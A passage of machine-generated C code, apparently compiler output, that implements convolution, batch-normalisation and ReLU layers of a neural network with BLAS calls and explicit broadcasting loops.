x18862[x18973];\nfloat x18976 = x120[x18974];\nint32_t x18962 = x18960 + x18961;\nint32_t x18964 = x18962 + x18963;\nint32_t x18966 = x18964 + x18965;\nfloat x18977 = x18975 + x18976;\nx18950[x18966] = x18977;\n\n}\n\n}\n\n}\n\n}\nbool x18987 = x18939 == 1;\nbool x18988 = x18987 || x17575;\nbool x18989 = x18939 == x17527;\nbool x18990 = x18988 || x18989;\nbool x18995;\nif (x18990) {\nx18995 = x18994;\n} else {\nx18995 = false;\n}\nbool x18996;\nif (x18995) {\nx18996 = x18994;\n} else {\nx18996 = false;\n}\nif (x18996) {\n} else {\nprintf(\"dimensions not compatible for broadcasting %d,%d,%d,%d, with %d,%d,%d,%d,\\n\",64,x18939,x18941,x18941,64,x17527,x17529,x17529);\nassert(false && \"\");\n}\nbool x19002 = x18939 <= x17527;\nint32_t x19003;\nif (x19002) {\nx19003 = x17527;\n} else {\nx19003 = x18939;\n}\nint32_t x19019;\nif (x18987) {\nx19019 = 0;\n} else {\nx19019 = x18947;\n}\nfor(int x19022=0; x19022 < 64; x19022++) {\nint32_t x19028 = x18948 * x19022;\nint32_t x19035 = x17536 * x19022;\nfor(int x19024=0; x19024 < x19003; x19024++) {\nint32_t x19029 = x19019 * x19024;\nint32_t x19030 = x19028 + x19029;\nint32_t x19036 = x17607 * x19024;\nint32_t x19037 = x19035 + x19036;\nfor(int x19026=0; x19026 < x19005; x19026++) {\nint32_t x19031 = x19020 * x19026;\nint32_t x19032 = x19030 + x19031;\nint32_t x19038 = x17608 * x19026;\nint32_t x19039 = x19037 + x19038;\nfor(int x19027=0; x19027 < x19005; x19027++) {\nint32_t x19033 = x19021 * x19027;\nint32_t x19034 = x19032 + x19033;\nfloat x19042 = x18950[x19034];\nint32_t x19040 = x17609 * x19027;\nint32_t x19041 = x19039 + x19040;\nfloat x19043 = x17642[x19041];\nfloat x19044 = x19042 + x19043;\nx18950[x19034] = x19044;\n\n}\n\n}\n\n}\n\n}\nfloat* x19054 = (float*)myMalloc(x18949 * sizeof(float));;\nfor(int x19056=0; x19056 < x18949; x19056++) {\nfloat x19057 = x18950[x19056];\nbool x19058 = x19057 < 0.0f;\nif (x19058) {\nx19054[x19056] = 0.0f;\n} else {\nfloat x19061 = x18950[x19056];\nx19054[x19056] = x19061;\n}\n\n}\nfloat* x19075 = (float*)myMalloc(x19074 * sizeof(float));;\nint32_t x19078 = 64 * x18939;\nint32_t x19079 = x19078 * x19070;\nfloat* x19080 = (float*)myMalloc(x19079 * sizeof(float));;\nint32_t x19076 = x18939 * x19070;\nfor(int x19081=0; x19081 < 64; x19081++) {\nint32_t x19082 = x19081 * x18948;\nfloat* x19083 = x19054+x19082;\nint32_t x19084 = x19081 * x19071;\nfloat* x19085 = x19075+x19084;\nint32_t x19086 = x19081 * x19076;\nfloat* x19087 = x19080+x19086;\nfor(int x19088=0; x19088 < x18939; x19088++) {\nint32_t x19089 = x19088 / 1;\nint32_t x19093 = x19089 * x19069;\nint32_t x19094 = x19093 * x19069;\nint32_t x19090 = x19088 % 1;\nint32_t x19091 = x19090 / 1;\nint32_t x19095 = x19091 * x19069;\nint32_t x19096 = x19095 * x19069;\nint32_t x19097 = x19094 + x19096;\nint32_t x19092 = x19090 % 1;\nint32_t x19098 = x19092 * x19069;\nint32_t x19099 = x19098 * x19069;\nint32_t x19100 = x19097 + x19099;\nfloat* x19101 = x19087+x19100;\nint32_t x19102 = x19089 * x18941;\nint32_t x19103 = x19102 * x18941;\nfloat* x19104 = x19083+x19103;\nfor(int x19106=0; x19106 < x19069; x19106++) {\nint32_t x19108 = x19106 * x19069;\nfloat* x19109 = x19101+x19108;\nint32_t x19107 = x19106 + x19091;\nint32_t x19110 = x19107 * x18941;\nint32_t x19111 = x19110 + x19092;\nfloat* x19112 = x19104+x19111;\nmemcpy(x19109, x19112, 4 * x19069);;\n\n}\n\n}\ncblas_sgemm(CblasRowMajor, CblasNoTrans, CblasNoTrans, 256,x19070,x18939,1,x151,x18939,x19087,x19070,1,x19085,x19070);\n\n}\nint32_t x19121 = 0;\nint32_t x19122 = 1;\nx19122 *= 1;\nx19121 += 1;\nx19122 *= 1;\nx19122 *= 1;\nint32_t x19127 = x19121;\nbool x19128 = x19127 >= 2;\nif (x19128) {\nprintf(\"cannot have 2 or more -1s in resize!!\\n\");\nassert(false && \"\");\n} else {\n}\nbool x19133 = x19127 == 0;\nif (x19133) {\nint32_t x19134 = x19122;\nbool x19135 = x19134 == 256;\nif (x19135) {\n} else {\nassert(false && \"must same size!!\");\n}\n} else {\n}\nint32_t x19142 = x19122;\nint32_t x19143 = 256 / x19142;\nbool x19144 = x19143 == 1;\nbool x19147;\nif (x454) {\nbool x19145 = 256 == x19143;\nbool x19146 = x19144 || x19145;\nx19147 = x19146;\n} else {\nx19147 = false;\n}\nbool x19151;\nif (x19147) {\nx19151 = x19150;\n} else {\nx19151 = false;\n}\nbool x19152;\nif (x19151) {\nx19152 = x19150;\n} else {\nx19152 = false;\n}\nif (x19152) {\n} else {\nprintf(\"dimensions not compatible for broadcasting %d,%d,%d,%d, with %d,%d,%d,%d,\\n\",64,256,x19069,x19069,1,x19143,1,1);\nassert(false && \"\");\n}\nbool x19158 = 256 <= x19143;\nint32_t x19159;\nif (x19158) {\nx19159 = x19143;\n} else {\nx19159 = 256;\n}\nint32_t x19168 = x19159 * x19167;\nint32_t x19169 = 64 * x19168;\nfloat* x19170 = (float*)myMalloc(x19169 * sizeof(float));;\nint32_t x19173;\nif (x19144) {\nx19173 = 0;\n} else {\nx19173 = 1;\n}\nfor(int x19174=0; x19174 < 64; x19174++) {\nint32_t x19186 = x19071 * x19174;\nint32_t x19180 = x19168 * x19174;\nfor(int x19176=0; x19176 < x19159; x19176++) {\nint32_t x19187 = x19070 * x19176;\nint32_t x19188 = x19186 + x19187;\nint32_t x19193 = x19173 * x19176;\nint32_t x19182 = x19167 * x19176;\nfor(int x19178=0; x19178 < x19161; x19178++) {\nint32_t x19189 = x19171 * x19178;\nint32_t x19190 = x19188 + x19189;\nint32_t x19184 = x19161 * x19178;\nfor(int x19179=0; x19179 < x19161; x19179++) {\nint32_t x19191 = x19172 * x19179;\nint32_t x19192 = x19190 + x19191;\nfloat x19194 = x19075[x19192];\nfloat x19195 = x80[x19193];\nint32_t x19181 = x19179 + x19180;\nint32_t x19183 = x19181 + x19182;\nint32_t x19185 = x19183 + x19184;\nfloat x19196 = x19194 - x19195;\nx19170[x19185] = x19196;\n\n}\n\n}\n\n}\n\n}\nfloat* x19206 = (float*)myMalloc(256 * sizeof(float));;\nfor(int x19207=0; x19207 < 256; x19207++) {\nfloat x19208 = x176[x19207];\nfloat x19209 = x19208 + 1.0E-5f;\nx19206[x19207] = x19209;\n\n}\nfloat* x19213 = (float*)myMalloc(256 * sizeof(float));;\nfor(int x19214=0; x19214 < 256; x19214++) {\nfloat x19215 = x19206[x19214];\ndouble x19216 = (double)x19215;\ndouble x19217 = sqrt(x19216);\nfloat x19218 = (float)x19217;\nx19213[x19214] = x19218;\n\n}\nint32_t x19222 = 0;\nint32_t x19223 = 1;\nx19223 *= 1;\nx19222 += 1;\nx19223 *= 1;\nx19223 *= 1;\nint32_t x19228 = x19222;\nbool x19229 = x19228 >= 2;\nif (x19229) {\nprintf(\"cannot have 2 or more -1s in resize!!\\n\");\nassert(false && \"\");\n} else {\n}\nbool x19234 = x19228 == 0;\nif (x19234) {\nint32_t x19235 = x19223;\nbool x19236 = x19235 == 256;\nif (x19236) {\n} else {\nassert(false && \"must same size!!\");\n}\n} else {\n}\nint32_t x19243 = x19223;\nbool x19245 = x19159 == 1;\nint32_t x19244 = 256 / x19243;\nbool x19246 = x19244 == 1;\nbool x19250;\nif (x454) {\nbool x19247 = x19245 || x19246;\nbool x19248 = x19159 == x19244;\nbool x19249 = x19247 || x19248;\nx19250 = x19249;\n} else {\nx19250 = false;\n}\nbool x19254;\nif (x19250) {\nx19254 = x19253;\n} else {\nx19254 = false;\n}\nbool x19255;\nif (x19254) {\nx19255 = x19253;\n} else {\nx19255 = false;\n}\nif (x19255) {\n} else {\nprintf(\"dimensions not compatible for broadcasting %d,%d,%d,%d, with %d,%d,%d,%d,\\n\",64,x19159,x19161,x19161,1,x19244,1,1);\nassert(false && \"\");\n}\nbool x19261 = x19159 <= x19244;\nint32_t x19262;\nif (x19261) {\nx19262 = x19244;\n} else {\nx19262 = x19159;\n}\nint32_t x19271 = x19262 * x19270;\nint32_t x19272 = 64 * x19271;\nfloat* x19273 = (float*)myMalloc(x19272 * sizeof(float));;\nint32_t x19274;\nif (x19245) {\nx19274 = 0;\n} else {\nx19274 = x19167;\n}\nint32_t x19277;\nif (x19246) {\nx19277 = 0;\n} else {\nx19277 = 1;\n}\nfor(int x19278=0; x19278 < 64; x19278++) {\nint32_t x19290 = x19168 * x19278;\nint32_t x19284 = x19271 * x19278;\nfor(int x19280=0; x19280 < x19262; x19280++) {\nint32_t x19291 = x19274 * x19280;\nint32_t x19292 = x19290 + x19291;\nint32_t x19297 = x19277 * x19280;\nint32_t x19286 = x19270 * x19280;\nfor(int x19282=0; x19282 < x19264; x19282++) {\nint32_t x19293 = x19275 * x19282;\nint32_t x19294 = x19292 + x19293;\nint32_t x19288 = x19264 * x19282;\nfor(int x19283=0; x19283 < x19264; x19283++) {\nint32_t x19295 = x19276 * x19283;\nint32_t x19296 = x19294 + x19295;\nfloat x19298 = x19170[x19296];\nfloat x19299 = x19213[x19297];\nint32_t x19285 = x19283 + x19284;\nint32_t x19287 = x19285 + x19286;\nint32_t x19289 = x19287 + x19288;\nfloat x19300 = x19298 / x19299;\nx19273[x19289] = x19300;\n\n}\n\n}\n\n}\n\n}\nint32_t x19310 = 0;\nint32_t x19311 = 1;\nx19311 *= 1;\nx19310 += 1;\nx19311 *= 1;\nx19311 *= 1;\nint32_t x19316 = x19310;\nbool x19317 = x19316 >= 2;\nif (x19317) {\nprintf(\"cannot have 2 or more -1s in resize!!\\n\");\nassert(false && \"\");\n} else {\n}\nbool x19322 = x19316 == 0;\nif (x19322) {\nint32_t x19323 = x19311;\nbool x19324 = x19323 == 256;\nif (x19324) {\n} else {\nassert(false && \"must same size!!\");\n}\n} else {\n}\nint32_t x19331 = x19311;\nbool x19333 = x19262 == 1;\nint32_t x19332 = 256 / x19331;\nbool x19334 = x19332 == 1;\nbool x19338;\nif (x454) {\nbool x19335 = x19333 || x19334;\nbool x19336 = x19262 == x19332;\nbool x19337 = x19335 || x19336;\nx19338 = x19337;\n} else {\nx19338 = false;\n}\nbool x19342;\nif (x19338) {\nx19342 = x19341;\n} else {\nx19342 = false;\n}\nbool x19343;\nif (x19342) {\nx19343 = x19341;\n} else {\nx19343 = false;\n}\nif (x19343) {\n} else {\nprintf(\"dimensions not compatible for broadcasting %d,%d,%d,%d, with %d,%d,%d,%d,\\n\",64,x19262,x19264,x19264,1,x19332,1,1);\nassert(false && \"\");\n}\nbool x19349 = x19262 <= x19332;\nint32_t x19350;\nif (x19349) {\nx19350 = x19332;\n} else {\nx19350 = x19262;\n}\nint32_t x19359 = x19350 * x19358;\nint32_t x19360 = 64 * x19359;\nfloat* x19361 = (float*)myMalloc(x19360 * sizeof(float));;\nint32_t x19362;\nif (x19333) {\nx19362 = 0;\n} else {\nx19362 = x19270;\n}\nint32_t x19365;\nif (x19334) {\nx19365 = 0;\n} else {\nx19365 = 1;\n}\nfor(int x19366=0; x19366 < 64; x19366++) {\nint32_t x19378 = x19271 * x19366;\nint32_t x19372 = x19359 * x19366;\nfor(int x19368=0; x19368 < x19350; x19368++) {\nint32_t x19379 = x19362 * x19368;\nint32_t x19380 = x19378 + x19379;\nint32_t x19385 = x19365 * x19368;\nint32_t x19374 = x19358 * x19368;\nfor(int x19370=0; x19370 < x19352; x19370++) {\nint32_t x19381 = x19363 * x19370;\nint32_t x19382 = x19380 + x19381;\nint32_t x19376 = x19352 * x19370;\nfor(int x19371=0; x19371 < x19352; x19371++) {\nint32_t x19383 = x19364 * x19371;\nint32_t x19384 = x19382 + x19383;\nfloat x19386 = x19273[x19384];\nfloat x19387 = x85[x19385];\nint32_t x19373 = x19371 + x19372;\nint32_t x19375 = x19373 + x19374;\nint32_t x19377 = x19375 + x19376;\nfloat x19388 = x19386 * x19387;\nx19361[x19377] = x19388;\n\n}\n\n}\n\n}\n\n}\nint32_t x19398 = 0;\nint32_t x19399 = 1;\nx19399 *= 1;\nx19398 += 1;\nx19399 *= 1;\nx19399 *= 1;\nint32_t x19404 = x19398;\nbool x19405 = x19404 >= 2;\nif (x19405) {\nprintf(\"cannot have 2 or more -1s in resize!!\\n\");\nassert(false && \"\");\n} else {\n}\nbool x19410 = x19404 == 0;\nif (x19410) {\nint32_t x19411 = x19399;\nbool x19412 = x19411 == 256;\nif (x19412) {\n} else {\nassert(false && \"must same size!!\");\n}\n} else {\n}\nint32_t x19419 = x19399;\nbool x19421 = x19350 == 1;\nint32_t x19420 = 256 / x19419;\nbool x19422 = x19420 == 1;\nbool x19426;\nif (x454) {\nbool x19423 = x19421 || x19422;\nbool x19424 = x19350 == x19420;\nbool x19425 = x19423 || x19424;\nx19426 = x19425;\n} else {\nx19426 = false;\n}\nbool x19430;\nif (x19426) {\nx19430 = x19429;\n} else {\nx19430 = false;\n}\nbool x19431;\nif (x19430) {\nx19431 = x19429;\n} else {\nx19431 = false;\n}\nif (x19431) {\n} else {\nprintf(\"dimensions not compatible for broadcasting %d,%d,%d,%d, with %d,%d,%d,%d,\\n\",64,x19350,x19352,x19352,1,x19420,1,1);\nassert(false && \"\");\n}\nbool x19437 = x19350 <= x19420;\nint32_t x19438;\nif (x19437) {\nx19438 = x19420;\n} else {\nx19438 = x19350;\n}\nint32_t x19447 = x19438 * x19446;\nint32_t x19448 = 64 * x19447;\nfloat* x19449 = (float*)myMalloc(x19448 * sizeof(float));;\nint32_t x19450;\nif (x19421) {\nx19450 = 0;\n} else {\nx19450 = x19358;\n}\nint32_t x19453;\nif (x19422) {\nx19453 = 0;\n} else {\nx19453 = 1;\n}\nfor(int x19454=0; x19454 < 64; x19454++) {\nint32_t x19466 = x19359 * x19454;\nint32_t x19460 = x19447 * x19454;\nfor(int x19456=0; x19456 < x19438; x19456++) {\nint32_t x19467 = x19450 * x19456;\nint32_t x19468 = x19466 + x19467;\nint32_t x19473 = x19453 * x19456;\nint32_t x19462 = x19446 * x19456;\nfor(int x19458=0; x19458 < x19440; x19458++) {\nint32_t x19469 = x19451 * x19458;\nint32_t x19470 = x19468 + x19469;\nint32_t x19464 = x19440 * x19458;\nfor(int x19459=0; x19459 < x19440; x19459++) {\nint32_t x19471 = x19452 * x19459;\nint32_t x19472 = x19470 + x19471;\nfloat x19474 = x19361[x19472];\nfloat x19475 = x253[x19473];\nint32_t x19461 = x19459 + x19460;\nint32_t x19463 = x19461 + x19462;\nint32_t x19465 = x19463 + x19464;\nfloat x19476 = x19474 + x19475;\nx19449[x19465] = x19476;\n\n}\n\n}\n\n}\n\n}\nfloat* x19486 = (float*)myMalloc(x19448 * sizeof(float));;\nfor(int x19488=0; x19488 < x19448; x19488++) {\nfloat x19489 = x19449[x19488];\nbool x19490 = x19489 < 0.0f;\nif (x19490) {\nx19486[x19488] = 0.0f;\n} else {\nfloat x19493 = x19449[x19488];\nx19486[x19488] = x19493;\n}\n\n}\nfloat* x19508 = (float*)myMalloc(x19507 * sizeof(float));;\nint32_t x19509 = 9 * x19438;\nint32_t x19512 = 64 * x19509;\nint32_t x19513 = x19512 * x19503;\nfloat* x19514 = (float*)myMalloc(x19513 * sizeof(float));;\nint32_t x19510 = x19509 * x19503;\nint32_t x19522 = x19438 * 3;\nint32_t x19523 = x19522 * 3;\nfor(int x19515=0; x19515 < 64; x19515++) {\nint32_t x19516 = x19515 * x19447;\nfloat* x19517 = x19486+x19516;\nint32_t x19518 = x19515 * x19504;\nfloat* x19519 = x19508+x19518;\nint32_t x19520 = x19515 * x19510;\nfloat* x19521 = x19514+x19520;\nfor(int x19525=0; x19525 < x19523; x19525++) {\nint32_t x19526 = x19525 / 9;\nint32_t x19530 = x19526 * 3;\nint32_t x19531 = x19530 * 3;\nint32_t x19532 = x19531 * x19502;\nint32_t x19533 = x19532 * x19502;\nint32_t x19527 = x19525 % 9;\nint32_t x19528 = x19527 / 3;\nint32_t x19534 = x19528 * 3;\nint32_t x19535 = x19534 * x19502;\nint32_t x19536 = x19535 * x19502;\nint32_t x19537 = x19533 + x19536;\nint32_t x19529 = x19527 % 3;\nint32_t x19538 = x19529 * x19502;\nint32_t x19539 = x19538 * x19502;\nint32_t x19540 = x19537 + x19539;\nfloat* x19541 = x19521+x19540;\nint32_t x19542 = x19526 * x19440;\nint32_t x19543 = x19542 * x19440;\nfloat* x19544 = x19517+x19543;\nint32_t x19557 = 1 - x19529;\nbool x19558 = x19557 > 0;\nint32_t x19559;\nif (x19558) {\nx19559 = x19557;\n} else {\nx19559 = 0;\n}\nint32_t x19560 = 3 - x19529;\nint32_t x19561 = x19560 - 1;\nint32_t x19562 = 1 - x19561;\nbool x19563 = x19562 > 0;\nint32_t x19564;\nif (x19563) {\nx19564 = x19562;\n} else {\nx19564 = 0;\n}\nint32_t x19565 = x19502 - x19564;\nint32_t x19566 = x19565 - x19559;\nbool x19567 = x19566 <= 0;\nbool x19571 = x19559 > 0;\nint32_t x19556 = -1 + x19529;\nbool x19584 = x19564 > 0;\nfor(int x19546=0; x19546 < x19502; x19546++) {\nint32_t x19547 = x19546 - 1;\nint32_t x19548 = x19547 + x19528;\nbool x19549 = x19548 < 0;\nbool x19550 = x19548 >= x19440;\nbool x19551 = x19549 || x19550;\nif (x19551) {\nint32_t x19552 = x19546 * x19502;\nfloat* x19553 = x19541+x19552;\nmemset(x19553, 0, 4 * x19502);;\n} else {\nif (x19567) {\nint32_t x19552 = x19546 * x19502;\nfloat* x19568 = x19541+x19552;\nmemset(x19568, 0, 4 * x19502);;\n} else {\nint32_t x19552 = x19546 * x19502;\nif (x19571) {\nfloat* x19572 = x19541+x19552;\nmemset(x19572, 0, 4 * x19559);;\n} else {\n}\n// may have segfault here\nint32_t x19577 = x19552 + x19559;\nfloat* x19578 = x19541+x19577;\nint32_t x19579 = x19548 * x19440;\nint32_t x19580 = x19579 + x19556;\nint32_t x19581 = x19580 + x19559;\nfloat* x19582 = x19544+x19581;\nmemcpy(x19578, x19582, 4 * x19566);;\nif (x19584) {\nint32_t x19585 = x19552 + x19502;\nint32_t x19586 = x19585 - x19564;\nfloat* x19587 = x19541+x19586;\nmemset(x19587, 0, 4 * x19564);;\n} else {\n}\n}\n}\n\n}\n\n}\ncblas_sgemm(CblasRowMajor, CblasNoTrans, CblasNoTrans, 256,x19503,x19509,1,x226,x19509,x19521,x19503,1,x19519,x19503);\n\n}\nint32_t x19602 = 0;\nint32_t x19603 = 1;\nx19603 *= 1;\nx19602 += 1;\nx19603 *= 1;\nx19603 *= 1;\nint32_t x19608 = x19602;\nbool x19609 = x19608 >= 2;\nif (x19609) {\nprintf(\"cannot have 2 or more -1s in resize!!\\n\");\nassert(false && \"\");\n} else {\n}\nbool x19614 = x19608 == 0;\nif (x19614) {\nint32_t x19615 = x19603;\nbool x19616 = x19615 == 256;\nif (x19616) {\n} else {\nassert(false && \"must same size!!\");\n}\n} else {\n}\nint32_t x19623 = x19603;\nint32_t x19624 = 256 / x19623;\nbool x19625 = x19624 == 1;\nbool x19628;\nif (x454) {\nbool x19626 = 256 == x19624;\nbool x19627 = x19625 || x19626;\nx19628 = x19627;\n} else {\nx19628 = false;\n}\nbool x19632;\nif (x19628) {\nx19632 = x19631;\n} else {\nx19632 = false;\n}\nbool x19633;\nif (x19632) {\nx19633 = x19631;\n} else {\nx19633 = false;\n}\nif (x19633) {\n} else {\nprintf(\"dimensions not compatible for broadcasting %d,%d,%d,%d, with %d,%d,%d,%d,\\n\",64,256,x19502,x19502,1,x19624,1,1);\nassert(false && \"\");\n}\nbool x19639 = 256 <= x19624;\nint32_t x19640;\nif (x19639) {\nx19640 = x19624;\n} else {\nx19640 = 256;\n}\nint32_t x19649 = x19640 * x19648;\nint32_t x19650 = 64 * x19649;\nfloat* x19651 = (float*)myMalloc(x19650 * sizeof(float));;\nint32_t x19654;\nif (x19625) {\nx19654 = 0;\n} else {\nx19654 = 1;\n}\nfor(int x19655=0; x19655 < 64; x19655++) {\nint32_t x19667 = x19504 * x19655;\nint32_t x19661 = x19649 * x19655;\nfor(int x19657=0; x19657 < x19640; x19657++) {\nint32_t x19668 = x19503 * x19657;\nint32_t x19669 = x19667 + x19668;\nint32_t x19674 = x19654 * x19657;\nint32_t x19663 = x19648 * x19657;\nfor(int x19659=0; x19659 < x19642; x19659++) {\nint32_t x19670 = x19652 * x19659;\nint32_t x19671 = x19669 + x19670;\nint32_t x19665 = x19642 * x19659;\nfor(int x19660=0; x19660 < x19642; x19660++) {\nint32_t x19672 = x19653 * x19660;\nint32_t x19673 = x19671 + x19672;\nfloat x19675 = x19508[x19673];\nfloat x19676 = x70[x19674];\nint32_t x19662 = x19660 + x19661;\nint32_t x19664 = x19662 + x19663;\nint32_t x19666 = x19664 + x19665;\nfloat x19677 = x19675 - x19676;\nx19651[x19666] = x19677;\n\n}\n\n}\n\n}\n\n}\nfloat* x19687 = (float*)myMalloc(256 * sizeof(float));;\nfor(int x19688=0; x19688 < 256; x19688++) {\nfloat x19689 = x240[x19688];\nfloat x19690 = x19689 + 1.0E-5f;\nx19687[x19688] = x19690;\n\n}\nfloat* x19694 = (float*)myMalloc(256 * sizeof(float));;\nfor(int x19695=0; x19695 < 256; x19695++) {\nfloat x19696 = x19687[x19695];\ndouble x19697 = (double)x19696;\ndouble x19698 = sqrt(x19697);\nfloat x19699 = (float)x19698;\nx19694[x19695] = x19699;\n\n}\nint32_t x19703 = 0;\nint32_t x19704 = 1;\nx19704 *= 1;\nx19703 += 1;\nx19704 *= 1;\nx19704 *= 1;\nint32_t x19709 = x19703;\nbool x19710 = x19709 >= 2;\nif (x19710) {\nprintf(\"cannot have 2 or more -1s in resize!!\\n\");\nassert(false && \"\");\n} else {\n}\nbool x19715 = x19709 == 0;\nif (x19715) {\nint32_t x19716 = x19704;\nbool x19717 = x19716 == 256;\nif (x19717) {\n} else {\nassert(false && \"must same size!!\");\n}\n} else {\n}\nint32_t x19724 = x19704;\nbool x19726 = x19640 == 1;\nint32_t x19725 = 256 / x19724;\nbool x19727 = x19725 == 1;\nbool x19731;\nif (x454) {\nbool x19728 = x19726 || x19727;\nbool x19729 = x19640 == x19725;\nbool x19730 = x19728 || x19729;\nx19731 = x19730;\n} else {\nx19731 = false;\n}\nbool x19735;\nif (x19731) {\nx19735 = x19734;\n} else {\nx19735 = false;\n}\nbool x19736;\nif (x19735) {\nx19736 = x19734;\n} else {\nx19736 = false;\n}\nif (x19736) {\n} else {\nprintf(\"dimensions not compatible for broadcasting %d,%d,%d,%d, with %d,%d,%d,%d,\\n\",64,x19640,x19642,x19642,1,x19725,1,1);\nassert(false && \"\");\n}\nbool x19742 = x19640 <= x19725;\nint32_t x19743;\nif (x19742) {\nx19743 = x19725;\n} else {\nx19743 = x19640;\n}\nint32_t x19752 = x19743 * x19751;\nint32_t x19753 = 64 * x19752;\nfloat* x19754 = (float*)myMalloc(x19753 * sizeof(float));;\nint32_t x19755;\nif (x19726) {\nx19755 = 0;\n} else {\nx19755 = x19648;\n}\nint32_t x19758;\nif (x19727) {\nx19758 = 0;\n} else {\nx19758 = 1;\n}\nfor(int x19759=0; x19759 < 64; x19759++) {\nint32_t x19771 = x19649 * x19759;\nint32_t x19765 = x19752 * x19759;\nfor(int x19761=0; x19761 < x19743; x19761++) {\nint32_t x19772 = x19755 * x19761;\nint32_t x19773 = x19771 + x19772;\nint32_t x19778 = x19758 * x19761;\nint32_t x19767 = x19751 * x19761;\nfor(int x19763=0; x19763 < x19745; x19763++) {\nint32_t x19774 = x19756 * x19763;\nint32_t x19775 = x19773 + x19774;\nint32_t x19769 = x19745 * x19763;\nfor(int x19764=0; x19764 < x19745; x19764++) {\nint32_t x19776 = x19757 * x19764;\nint32_t x19777 = x19775 + x19776;\nfloat x19779 = x19651[x19777];\nfloat x19780 = x19694[x19778];\nint32_t x19766 = x19764 + x19765;\nint32_t x19768 = x19766 + x19767;\nint32_t x19770 = x19768 + x19769;\nfloat x19781 = x19779 / x19780;\nx19754[x19770] = x19781;\n\n}\n\n}\n\n}\n\n}\nint32_t x19791 = 0;\nint32_t x19792 = 1;\nx19792 *= 1;\nx19791 += 1;\nx19792 *= 1;\nx19792 *= 1;\nint32_t x19797 = x19791;\nbool x19798 = x19797 >= 2;\nif (x19798) {\nprintf(\"cannot have 2 or more -1s in resize!!\\n\");\nassert(false && \"\");\n} else {\n}\nbool x19803 = x19797 == 0;\nif (x19803) {\nint32_t x19804 = x19792;\nbool x19805 = x19804 == 256;\nif (x19805) {\n} else {\nassert(false && \"must same size!!\");\n}\n} else {\n}\nint32_t x19812 = x19792;\nbool x19814 = x19743 == 1;\nint32_t x19813 = 256 / x19812;\nbool x19815 = x19813 == 1;\nbool x19819;\nif (x454) {\nbool x19816 = x19814 || x19815;\nbool x19817 = x19743 == x19813;\nbool x19818 = x19816 || x19817;\nx19819 = x19818;\n} else {\nx19819 = false;\n}\nbool x19823;\nif (x19819) {\nx19823 = x19822;\n} else {\nx19823 = false;\n}\nbool x19824;\nif (x19823) {\nx19824 = x19822;\n} else {\nx19824 = false;\n}\nif (x19824) {\n} else {\nprintf(\"dimensions not compatible for broadcasting %d,%d,%d,%d, with %d,%d,%d,%d,\\n\",64,x19743,x19745,x19745,1,x19813,1,1);\nassert(false && \"\");\n}\nbool x19830 = x19743 <= x19813;\nint32_t x19831;\nif (x19830) {\nx19831 = x19813;\n} else {\nx19831 = x19743;\n}\nint32_t x19840 = x19831 * x19839;\nint32_t x19841 = 64 * x19840;\nfloat* x19842 = (float*)myMalloc(x19841 * sizeof(float));;\nint32_t x19843;\nif (x19814) {\nx19843 = 0;\n} else {\nx19843 = x19751;\n}\nint32_t x19846;\nif (x19815) {\nx19846 = 0;\n} else {\nx19846 = 1;\n}\nfor(int x19847=0; x19847 < 64; x19847++) {\nint32_t x19859 = x19752 * x19847;\nint32_t x19853 = x19840 * x19847;\nfor(int x19849=0; x19849 < x19831; x19849++) {\nint32_t x19860 = x19843 * x19849;\nint32_t x19861 = x19859 + x19860;\nint32_t x19866 = x19846 * x19849;\nint32_t x19855 = x19839 * x19849;\nfor(int x19851=0; x19851 < x19833; x19851++) {\nint32_t x19862 = x19844 * x19851;\nint32_t x19863 = x19861 + x19862;\nint32_t x19857 = x19833 * x19851;\nfor(int x19852=0; x19852 < x19833; x19852++) {\nint32_t x19864 = x19845 * x19852;\nint32_t x19865 = x19863 + x19864;\nfloat x19867 = x19754[x19865];\nfloat x19868 = x141[x19866];\nint32_t x19854 = x19852 + x19853;\nint32_t x19856 = x19854 + x19855;\nint32_t x19858 = x19856 + x19857;\nfloat x19869 = x19867 * x19868;\nx19842[x19858] = x19869;\n\n}\n\n}\n\n}\n\n}\nint32_t x19879 = 0;\nint32_t x19880 = 1;\nx19880 *= 1;\nx19879 += 1;\nx19880 *= 1;\nx19880 *= 1;\nint32_t x19885 = x19879;\nbool x19886 = x19885 >= 2;\nif (x19886) {\nprintf(\"cannot have 2 or more -1s in resize!!\\n\");\nassert(false && \"\");\n} else {\n}\nbool x19891 = x19885 == 0;\nif (x19891) {\nint32_t x19892 = x19880;\nbool x19893 = x19892 == 256;\nif (x19893) {\n} else {\nassert(false && \"must same size!!\");\n}\n} else {\n}\nint32_t x19900 = x19880;\nbool x19902 = x19831 == 1;\nint32_t x19901 = 256 / x19900;\nbool x19903 = x19901 == 1;\nbool x19907;\nif (x454) {\nbool x19904 = x19902 || x19903;\nbool x19905 = x19831 == x19901;\nbool x19906 = x19904 || x19905;\nx19907 = x19906;\n} else {\nx19907 = false;\n}\nbool x19911;\nif (x19907) {\nx19911 = x19910;\n} else {\nx19911 = false;\n}\nbool x19912;\nif (x19911) {\nx19912 = x19910;\n} else {\nx19912 = false;\n}\nif (x19912) {\n} else {\nprintf(\"dimensions not compatible for broadcasting %d,%d,%d,%d, with %d,%d,%d,%d,\\n\",64,x19831,x19833,x19833,1,x19901,1,1);\nassert(false && \"\");\n}\nbool x19918 = x19831 <= x19901;\nint32_t x19919;\nif (x19918) {\nx19919 = x19901;\n} else {\nx19919 = x19831;\n}\nint32_t x19928 = x19919 * x19927;\nint32_t x19929 = 64 * x19928;\nfloat* x19930 = (float*)myMalloc(x19929 * sizeof(float));;\nint32_t x19931;\nif (x19902) {\nx19931 = 0;\n} else {\nx19931 = x19839;\n}\nint32_t x19934;\nif (x19903) {\nx19934 = 0;\n} else {\nx19934 = 1;\n}\nfor(int x19935=0; x19935 < 64; x19935++) {\nint32_t x19947 = x19840 * x19935;\nint32_t x19941 = x19928 * x19935;\nfor(int x19937=0; x19937 < x19919; x19937++) {\nint32_t x19948 = x19931 * x19937;\nint32_t x19949 = x19947 + x19948;\nint32_t x19954 = x19934 * x19937;\nint32_t x19943 = x19927 * x19937;\nfor(int x19939=0; x19939 < x19921; x19939++) {\nint32_t x19950 = x19932 * x19939;\nint32_t x19951 = x19949 + x19950;\nint32_t x19945 = x19921 * x19939;\nfor(int x19940=0; x19940 < x19921; x19940++) {\nint32_t x19952 = x19933 * x19940;\nint32_t x19953 = x19951 + x19952;\nfloat x19955 = x19842[x19953];\nfloat x19956 = x189[x19954];\nint32_t x19942 = x19940 + x19941;\nint32_t x19944 = x19942 + x19943;\nint32_t x19946 = x19944 + x19945;\nfloat x19957 = x19955 + x19956;\nx19930[x19946] = x19957;\n\n}\n\n}\n\n}\n\n}\nfloat* x19967 = 